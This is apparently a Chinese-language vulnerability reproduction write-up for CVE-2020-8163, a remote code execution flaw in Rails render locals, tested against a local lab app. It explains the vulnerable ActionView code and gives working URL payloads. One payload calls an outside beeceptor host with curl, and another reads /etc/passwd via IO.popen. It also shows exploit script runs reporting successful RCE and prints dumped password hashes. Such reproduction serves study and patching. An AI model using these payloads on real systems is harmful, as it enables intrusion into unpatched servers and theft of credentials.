Rails version < 5.0.1 & < 4.2.11.2 CVE-2020-8163 RCE

Rails version < 5.0.1 & < 4.2.11.2 CVE-2020-8163 RCE复现

漏洞描述

这是5.0.1之前版本的Rails中的一个代码注入漏洞,允许攻击者控制”render”调用的”locals”参数来执行RCE。

  • CVE-2020-8163

风险等级

高危

影响版本

  • 受影响版本: Rails version < 5.0.1 & < 4.2.11.2
  • 不受影响版本: 不允许用户控制本地名称的应用程序

漏洞分析

Rails有一个叫做render的API,它可以让开发人员选择哪些模板来渲染内容。

除此之外,还可以传递一个locals数组,将更多变量传递给模板本身,Passing Local Variables方便扩展模板的灵活性,使其更强大。

该bug存在于Rails版本< 5.0.1 and < 4.2.11.2,而这个bug的实际罪魁祸首位于ActionView!

template.rb中,可以清楚地看到locals数组中的每个key和item都没有被清除,然后直接赋值给code变量。

这段eval代码将导致local_assigns对象解构赋值

1
2
3
4
def locals_code #:nodoc:
# Double assign to suppress the dreaded 'assigned but unused variable' warning
@locals.each_with_object('') { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
end

这意味着可以假定地控制代码上下文下进行eval的部分

  • \rails-4.2.11.1\actionview\lib\action_view\template.rb

要对结果字符串进行eval构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def compile(mod) #:nodoc:
encode!
method_name = self.method_name
code = @handler.call(self)

# Make sure that the resulting String to be eval'd is in the
# encoding of the code
source = <<-end_src
def #{method_name}(local_assigns, output_buffer)
_old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
ensure
@virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
end
end_src

然而,这并不是那么容易实现的,这就是为什么它被称为”partial RCE”

正如所看到的,可以控制的部分正好位于一个长表达式的中间,它涉及到模板片段的连接。这意味着不能强行在其中插入shellcode,仍然必须在最后使语法有效。这是成功实现RCE的真正困难部分。

1
http://…/?locals[@TEST@]

模板的内容

1
http://…/?locals[`curl linqb.free.beeceptor.com/backup`%0A%23]

因此,如果模板是空模板,那么RCE就很容易实现

漏洞复现

  • 官方源码下载(rails v4.2.11.1)
  • 环境: Ubuntu 18.04.6 LTS + Rails v4.2.11.1 + ruby 2.5.1
  • CVE-2020-8163 - Remote code execution of user-provided local names in Rails
  • Enviroment and exploit to CVE-2020-8163 Blind remote code execution of user-provided local names in Rails < 5.0.1 and < 4.2.11.2
  • python CVE-2020-8163 exp
1
2
3
4
5
6
7
8
9
10
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp# cd testapp
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp# bundle install
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp# rails s
=> Booting WEBrick
=> Rails 4.2.11.1 application starting in development on http://localhost:3000
=> Run `rails server -h` for more startup options
=> Ctrl-C to shutdown server
[2023-04-15 02:44:41] INFO WEBrick 1.4.2
[2023-04-15 02:44:41] INFO ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu]
[2023-04-15 02:44:41] INFO WEBrick::HTTPServer#start: pid=8210 port=3000
  • payload1

  • rails-rce-cve-2020-8163.yaml

1
http://localhost:3000/main/index?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23
  • payload2(反弹shell)

  • Rails 5.0.1 - Remote Code Execution

  • payload3

  • CVE-2020-8163 - Remote code execution of user-provided local names in Rails

  • payload4

  • cve-2020-8163 python exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master# ruby exploit1.rb http://localhost:3000/main/index "id"
ruby: warning: shebang line ending with \r may cause problems
[*] Sending payload to http://localhost:3000/main/index
http://localhost:3000/main/index?[system(%27id%27)end%00]
[*] Succesful RCE
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master# python2 cve-2020-8163.py
[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1
<!DOCTYPE html>
<html>
<head>
<title>App</title>
<link rel="stylesheet" media="all" href="/assets/main.self-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.css?body=1" data-turbolinks-track="true" />
<link rel="stylesheet" media="all" href="/assets/application.self-e80e8f2318043e8af94dddc2adad5a4f09739a8ebb323b3ab31cd71d45fd9113.css?body=1" data-turbolinks-track="true" />
<script src="/assets/jquery.self-bd7ddd393353a8d2480a622e80342adf488fb6006d667e8b42e4c0073393abee.js?body=1" data-turbolinks-track="true"></script>
<script src="/assets/jquery_ujs.self-a6375ab2b275439c922ac52b02a475d288976458aa11a6e8103c925ef2961f66.js?body=1" data-turbolinks-track="true"></script>
<script src="/assets/turbolinks.self-569ee74eaa15c1e2019317ff770b8769b1ec033a0f572a485f64c82ddc8f989e.js?body=1" data-turbolinks-track="true"></script>
<script src="/assets/main.self-877aef30ae1b040ab8a3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js?body=1" data-turbolinks-track="true"></script>
<script src="/assets/application.self-3b8dabdc891efe46b9a144b400ad69e37d7e5876bdc39dee783419a69d7ca819.js?body=1" data-turbolinks-track="true"></script>
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="gSDrhhzFjxej04mcuFjDgyIZWNEJxL84qmb2PXzTuwYP+/Y/tlcbkFf1JhJNEmeTsEMTuc8FRjskJpwR5MBnNA==" />
</head>
<body>

<h1>Main#index</h1>
<p>Find me in app/views/main/index.html.erb</p>

root:$6$GdoEA3yt$lkzbTTwqBQQJEC2mwvbwxh5/X/W1rCeGVaZL8Uz42xq3/vYzJyOvt6OvGL6qwUv.rYURZixrwdjLsyHmGIKot0:19421:0:99999:7:::
daemon:*:19121:0:99999:7:::
bin:*:19121:0:99999:7:::
sys:*:19121:0:99999:7:::
sync:*:19121:0:99999:7:::
games:*:19121:0:99999:7:::
man:*:19121:0:99999:7:::
lp:*:19121:0:99999:7:::
mail:*:19121:0:99999:7:::
news:*:19121:0:99999:7:::
uucp:*:19121:0:99999:7:::
proxy:*:19121:0:99999:7:::
www-data:*:19121:0:99999:7:::
backup:*:19121:0:99999:7:::
list:*:19121:0:99999:7:::
irc:*:19121:0:99999:7:::
gnats:*:19121:0:99999:7:::
nobody:*:19121:0:99999:7:::
systemd-network:*:19121:0:99999:7:::
systemd-resolve:*:19121:0:99999:7:::
syslog:*:19121:0:99999:7:::
messagebus:*:19121:0:99999:7:::
_apt:*:19121:0:99999:7:::
lxd:*:19121:0:99999:7:::
uuidd:*:19121:0:99999:7:::
dnsmasq:*:19121:0:99999:7:::
landscape:*:19121:0:99999:7:::
sshd:*:19121:0:99999:7:::
pollinate:*:19121:0:99999:7:::
luci18:$6$LZaJkFRv$0NjZpX/iuBCqm8isV9mg0dFHxJPQPrJYQNYXLjKEeVEuZCU3bN0fgwNJ3QdY5QtVRLLrrchq7zUWcA8sfY8Yo.:19420:0:99999:7:::
mysql:!:19461:0:99999:7:::


</body>
</html>

漏洞修复

这个补丁非常简单。需要事先清理locals数组。

总结

“key must be 32 bits” 报错

当使用Ruby 2.4 + Rails 5.0.0.1时就会发生这种情况。只需将Ruby版本降级到2.3系列或将Rails版本升级到5.0.1即可。

仅供参考,Rails 5.0.1已经修补了CVE-2020-8163。

参考资源

  • CVE-2020-8163
  • Rails 5.0.1 - Remote Code Execution
  • rails-rce-cve-2020-8163.yaml
  • CVE-2020-8163: Partial Remote Code Execution